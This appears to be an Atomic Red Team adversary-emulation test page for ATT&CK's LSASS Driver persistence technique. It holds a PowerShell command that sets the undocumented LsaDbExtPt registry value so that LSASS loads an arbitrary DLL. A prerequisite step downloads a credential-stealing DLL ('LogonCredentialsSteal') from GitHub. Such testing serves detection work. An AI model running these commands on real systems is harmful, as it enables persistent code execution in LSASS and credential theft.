Try it using Invoke-Atomic

Boot or Logon Autostart Execution: LSASS Driver

Description from ATT&CK

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)

Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., Hijack Execution Flow), an adversary can use LSA operations to continuously execute malicious payloads.

Atomic Tests

Atomic Test #1 - Modify Registry to load Arbitrary DLL into LSASS - LsaDbExtPt

The following Atomic will modify an undocumented registry key that may be abused to load a arbitrary DLL into LSASS.

Upon execution, the registry key will be modified and a value will contain the path to the DLL. Reference: https://blog.xpnsec.com/exploring-mimikatz-part-1/ and source https://github.com/oxfemale/LogonCredentialsSteal Note that if any LSA based protection is enabled, this will most likely not be successful with LSASS.exe loading the DLL.

Supported Platforms: windows

auto_generated_guid: 8ecef16d-d289-46b4-917b-0dba6dc81cf1

Inputs:

Name Description Type Default Value
dll_path Module to be loaded into LSASS Path $env:TEMP\lsass_lib.dll

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

1
2
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "#{dll_path}"

Cleanup Commands:

1
2
Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS" -Name "LsaDbExtPt" -ErrorAction Ignore | Out-Null

Dependencies: Run with powershell!

Description: lsass_lib.dll must exist on disk at specified location (#{dll_path})

Check Prereq Commands:

1
2
if (Test-Path #{dll_path}) {exit 0} else {exit 1}

Get Prereq Commands:

1
2
3
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest "https://github.com/oxfemale/LogonCredentialsSteal/raw/53e74251f397ddeab2bd1348c3ff26d702cfd836/lsass_lib/x64/Release/lsass_lib.dll" -UseBasicParsing -OutFile "#{dll_path}"

source